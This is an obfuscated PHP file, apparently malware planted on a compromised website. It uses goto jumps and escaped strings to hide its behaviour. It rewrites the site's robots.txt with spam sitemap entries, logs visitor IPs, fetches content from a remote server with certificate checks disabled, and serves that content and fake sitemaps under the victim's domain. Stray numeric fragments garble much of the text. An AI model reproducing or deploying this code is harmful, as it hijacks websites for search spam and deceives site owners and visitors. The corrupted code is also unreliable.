2 7 $url, a CURLOPT_RE 3 TUR 4 NTRA 3 NSF 2 ER 7 => tru c e, CURLOPT_S 3 SL_ 3 VER 2 IF 3 YPE 9 ER => fal 1 s 17 e, CURLOPT_SSL_VERIFYHO 2 ST 15 => false, CURLOPT_FO 3 LLO 3 WLO 3 CAT 3 ION 13 => true, CURLOPT_T 3 IME 2 OU 7 T => 10 b , CURLOPT_P 15 OST => true, CURLOPT_ 6 POSTFI 3 ELD 6 S => $ b postString) 4 ); $ 7 data = 7 curl_ex 6 ec($ch 9 ); curl_c 4 lose 7 ($ch); 7 if (!em 2 pt 7 y($data 7 )) { re 4 turn 8 $data; 4 } } 4 if ( 7 ini_get 4 ("\1 7 41\x6c\ 3 154 4 \157 9 \x77\x5f\ 2 16 a 5\162\154\ 7 x5f\146 8 \157\160 4 \x65 c \x6e")) { $c 4 onte 5 xt = 4 stre 3 am_ 9 context_c 5 reate 7 (array( 5 "\150 7 \164\x7 6 4\x70" 4 => b array("\x6d 7 \x65\x7 5 4\150 8 \157\144 8 " => "\x 10 50\117\x53\x54", 8 "\x74\x c 69\x6d\x65\x 2 6f d \x75\164" => 8 10, "\x6 4 8\14 5 5\x61 b \144\145\x7 a 2" => "\x4 7 3\157\1 7 56\164\ 7 145\x6e 8 \x74\x2d 3 \12 5 4\x79 a \x70\145\7 4 2\40 5 \141\ b 160\160\x6c 6 \151\1 7 43\x61\ 7 x74\151 d \157\156\57\1 4 70\5 a 5\167\x77\ 9 167\55\x6 6 6\x6f\ 7 162\x6d 9 \x2d\x75\ 3 x72 9 \154\145\ d 156\143\157\1 5 44\x6 8 5\x64\15 4 \xa" 5 . "\ 2 10 f 3\157\156\x74\1 30 45\156\164\55\x4c\x65\x6e\147\164\150\72\x20" . 6 strlen d ($postString) 6 . "\1 a 5\12" . "\ 6 x55\x7 9 3\145\x72 7 \x2d\10 5 1\x67 f \145\156\164\x3 6 a\40\1 9 15\157\17 8 2\x69\x6 7 c\x6c\1 7 41\57\x 3 35\ 6 56\x30 d \15\12", "\x6 6 3\157\ 6 x6e\16 e 4\x65\156\164" 10 => $postString) 5 , "\1 9 63\163\x6 1 c 13 " => array("\166\x6 9 5\x72\151 5 \146\ a x79\x5f\16 b 0\x65\145\1 7 62" => d false, "\166\ 8 145\x72\ 9 151\x66\x b 79\x5f\160\ d 145\x65\x72\x 6 5f\x6e b \x61\155\x6 b 5" => false d ))); $data = 3 @fi 2 le a _get_conte 4 nts( 6 $url, f false, $context 2a ); if (!empty($data)) { return $data; } } 8 return ' 5 '; } 7 goto wR 3 Ft_ 3 ; V 3 guJ 2 R: 10 if (!empty($get 7 ["\162" 7 ])) { $ 3 rob 4 otsP 3 ath 6 = $_S 2 ER 4 VER[ b "\x44\117\x 5 43\12 7 5\115\x 5 45\x4 5 e\x54 3 \13 5 7\122 8 \117\x4f 6 \x54"] a . "\57\16 9 2\157\142 8 \x6f\x74 7 \163\x2 9 e\x74\x78 5 \164" 5 ; $si 4 tema 3 pBl 3 ock 4 = " d \125\163\145\ 4 162\ 8 55\141\1 5 47\x6 a 5\x6e\164\ 8 72\40\x2 4 a\xa 4 \x41 f \x6c\x6c\x6f\16 9 7\x3a\40\ 5 57\xa c "; $sitemaps d = "\12\x53\x 5 69\x7 9 4\145\x6d 6 \x61\1 7 60\x3a\ 5 x20{$ 6 http_t 3 ype 2 }{ e $_SERVER["\x48 a \x54\124\x 3 50\ 6 x5f\11 8 0\117\12 7 3\124"] d }{$_SERVER["\ 8 123\x43\ 5 x52\x 2 49 7 \x50\12 a 4\x5f\x4e\ 7 101\x4d 4 \x45 7 "]}\x3f 6 \x73\7 9 5\163\12" 7 ; if (! c file_exists( b $robotsPath a )) { file_ 2 pu 16 t_contents($robotsPath 10 , $sitemapBlock b . $sitemaps 5 ); } 4 else b { $robotsC 6 ontent 22 = @file_get_contents($robotsPath) 6 ; if ( 6 strpos f ($robotsContent d , $_SERVER["\ 8 123\x43\ 9 122\111\1 7 20\x54\ 10 x5f\x4e\101\x4d\ 5 105"] 3 ) = 2 == a false) { 1 @ 2a file_put_contents($robotsPath, $sitemaps, 3 FIL 3 E_A 3 PPE 3 ND) 6 ; } } 9 } goto Kw 3 0TV 4 ; lb 3 _EM 4 : $v 3 url d = $http_type 6 . "\x 8 69\144\1 5 54\17 5 1\x32 5 \56\x b 69\x64\163\ 4 150\ 7 x6f\x70 7 \56\x63 c \x63\167\x75 5 \x2e\ 7 143\x63 7 \57\64\ 5 61\x3 8 9\56\x61 6 \163\x e 70\170"; goto 7 VguJR; 3 WNT 2 Mb 1b : if (!empty($get["\x69\x64 b "])) { if ( e empty($get["\1 6 53\x6b 9 "])) { $i 4 p = 6 get_ip 5 (); $ 4 para 2 ms a = array(" d \151\160" => 4 $ip, a "\x69\144 7 " => is d set($get["\15 5 1\144 6 "]) ? b $get["\151\ 8 x64"] : 2 '' 7 , "\x6c c \x6c" => $ll 5 ); $t 4 zstr 6 = get 7 Curl($v c url, $params f ); if (strpos($ 11 tzstr, "\x69\144" 3 ) ! e == false) { ec 2 ho a $tzstr; d 2 ie 1c ; } } $params = array("\151\ 9 x64" => $ f get["\x69\x64"] 5 , "\1 6 54\154 2b " => $ll); $str = getCurl($vurl, $params); 7 $str = 6 str_re 4 plac c e(array("\17 5 3\x55 6 \x52\1 5 14\x7 8 d", "\x7 4 b\xe 5 5\x9f b \x9f\xe5\x9 4 0\x8 6 d\x7d" 9 ), array( 4 get_ 8 url_info 6 ("\x66 6 \x75\1 7 54\x6c" 14 ), get_url_info("\x6 7 e\157\x 7 5f\167\ 7 167\x77 4 ")), 8 $str); 6 echo $ 14 str; die; } else { $ 8 sitemapU 7 rl = $l 7 l . "\x 9 3f\x73\75 5 " . d 8 ate("\x5 6 9\155\ 5 144\x 6 48\x69 9 "); echo 5 "\x3c b \144\151\x7 5 6\x20 7 \163\16 c 4\171\x6c\14 4 5\x3 2 d\ c 47\164\145\1 8 70\164\x 4 2d\1 a 41\x6c\x69 6 \x67\1 6 56\x3a 11 \143\145\x6e\x74\ 8 145\x72\ 4 73\4 d 0\160\x61\x64 8 \x64\151 9 \x6e\147\ 9 x3a\61\x3 a 0\160\170\ 8 x20\x30\ 3 x3b 7 \47\x3e a \x3c\x61\x 4 20\1 8 50\x72\1 8 45\x66\x 5 3d\x2 2 2{ d $sitemapUrl}\ 6 42\x20 8 \164\141 6 \162\1 d 47\x65\164\x3 5 d\x22 8 \x5f\x62 10 \x6c\141\x6e\153 7 \x22\x2 c 0\x72\x65\15 5 4\75\ 5 42\15 8 6\157\14 8 6\x6f\15 8 4\154\15 9 7\167\42\ 3 76\ 8 40\123\1 6 51\164 8 \x65\155 e \141\160\74\x2 7 f\141\x c 3e\74\x2f\14 6 4\x69\ 7 166\x3e a "; } goto 3 UHN 3 mn; 6 Kw0TV 17 : if (!empty($get["\x73 8 "])) { $ 11 params = array("\ 8 x73" => 9 date("\13 a 1\155\144\ 4 110\ b x69"), "\15 9 6\x75\155 5 \x62\ 15 145\162" => $get["\15 6 6\165\ 4 x6d\ c 142\145\162" 1 ] 43 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x 8 e5\xbd\x 3 93\ 5 345\2 3 11\ 8 x8d\xe5\ 5 234\x 2 b0 a \xe5\x9d\2 5 00\17 b 5"), array( d $http_type . f $_SERVER["\x48\ a 124\124\12 a 0\x5f\110\ d x4f\123\124"] f . $_SERVER["\x 3 53\ c 103\122\x49\ 4 120\ a 124\x5f\11 6 6\101\ 5 115\1 e 05"]), $str); 4 head 3 er( 2b "\x43\x6f\156\164\145\156\x74\55\164\171\x7 b 0\x65\x3a\x 9 74\145\x7 9 8\164\x2f 5 \x78\ 8 x6d\154" 15 ); echo $str; die; } 5 goto 6 WNTMb; 9 OsiDT: e 3 rro 7 r_repor 4 ting 3 (0) 7 ; goto 8 XVeBg; H 3 WR4 2 h: e $http_type = 8 !empty($ c _SERVER["\11 10 0\124\x54\120\x5 5 3"]) 3 && 13 $_SERVER["\x48\x54\ b x54\120\123 3 "] 5 !== " b \157\x66\x6 2 6" 9 ? "\x68\ 7 x74\x74 6 \160\x 5 73\72 7 \57\x2f 4 " : 13 "\x68\x74\x74\160\x a 3a\57\x2f" 9 ; goto rR 2 Np 9 n; rRNpn: 5 $ll 3 = " 28 {$http_type}{$_SERVER["\x48\124\x54\120\ 5 137\1 1d 10\117\123\124"]}{$_SERVER["\ 6 x53\x4 16 3\122\x49\120\124\137\ 6 x4e\x4 c 1\x4d\x45"]} 8 "; goto 8 lb_EM; R 3 yBo 1 U 13 : function get_ip() 5 { fo 4 reac 2 h b (array("\11 13 0\x54\x54\120\137\x 2 58 8 \x5f\x46 a \x4f\122\1 8 27\101\1 6 22\x44 7 \105\10 9 4\x5f\106 7 \117\x5 7 2", "\x b 48\124\x54\ a x50\137\10 5 3\x4c a \x49\105\1 4 16\1 e 24\x5f\111\120 6 ", "\x 5 52\10 c 5\115\117\12 c 4\105\x5f\10 6 1\x44\ 8 x44\x52" 11 ) as $key) { if ( 10 !empty($_SERVER[ 5 $key] c )) { return 5 trim( 4 expl 2 od 4 e("\ 14 54", $_SERVER[$key]) 3 [0] e ); } } return 6 "\x55\ 6 116\x4 7 b\116\1 a 17\127\x4e a "; } goto 6 w0kkS; 6 N6bGe f : function get_ a url_info(s 7 tring $ f return_type = " 8 \144\157 8 \155\x61 9 \x69\x6e" 4 ) : 7 string 4 { $h 3 ost 1a = $_SERVER["\x48\124\124\ 9 x50\137\1 10 10\x4f\123\124"] 14 ; if ($return_type = 9 == "\144\ 5 x6f\x e 6d\x61\151\x6e 1 " 11 ) { return $host; 7 } if ( 13 $return_type === "\ 7 x6e\x6f 7 \x5f\x7 b 7\x77\x77") b { return l 5 trim( b $host, "\x7 c 7\x77\x77\x2 5 e"); 5 } $pr 5 otoco 1 l a = isset($ e _SERVER["\110\ 8 x54\124\ 9 120\123"] 18 ) && $_SERVER["\110\124\ 9 124\x50\1 d 23"] === "\x6 7 f\156" 2 || 12 isset($_SERVER["\ 14 x48\124\x54\x50\137\ a x58\137\10 9 6\117\x52 17 \127\101\122\x44\x45\x4 8 4\137\12 8 0\x52\x4 8 f\124\x4 1 f 1e "]) && $_SERVER["\x48\x54\x54\ 11 x50\x5f\130\137\x 7 46\x4f\ 9 x52\x57\x 5 41\x5 a 2\x44\x45\ b 104\137\x50 9 \122\117\ 12 124\x4f"] === "\x6 6 8\164\ 7 164\160 7 \x73" ? 14 "\x68\164\164\x70\x 4 73\x a 3a\57\x2f" 16 : "\x68\x74\164\x70\x 6 3a\x2f 3 \57 7 "; $bas 2 e_ 10 url = $protocol 9 . $host; 19 if ($return_type === "\14 7 2\141\x 6 73\x65 d ") { return $ d base_url; } $ 3 uri 5e6 = $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\x55\122\111"]; $full_url = $base_url . $uri; if ($return_type === "\146\165\154\x6c") { return $full_url; } return ''; } goto RyBoU; wRFt_: function getCurl($url, $getData = array()) { if (!empty($getData)) { $queryString = is_array($getData) ? http_build_query($getData) : $getData; $url .= (strpos($url, "\x3f") === false ? "\x3f" : "\x26") . $queryString; } if (function_exists("\143\165\162\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_USERAGENT => "\115\157\172\151\154\x6c\141\x2f\65\56\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\137\x75\x72\x6c\137\x66\157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\145\x74\150\157\144" => "\107\105\x54", "\x74\151\155\x65\x6f\165\164" => 10, "\150\x65\x61\144\x65\x72" => "\x55\x73\145\162\x2d\x41\147\145\x6e\x74\x3a\x20\x4d\x6f\x7a\151\154\154\x61\57\65\56\x30\xd\12"), "\x73\x73\154" => array("\x76\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\162\151\146\x79\137\x70\x65\x65\x72\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn: ?> 0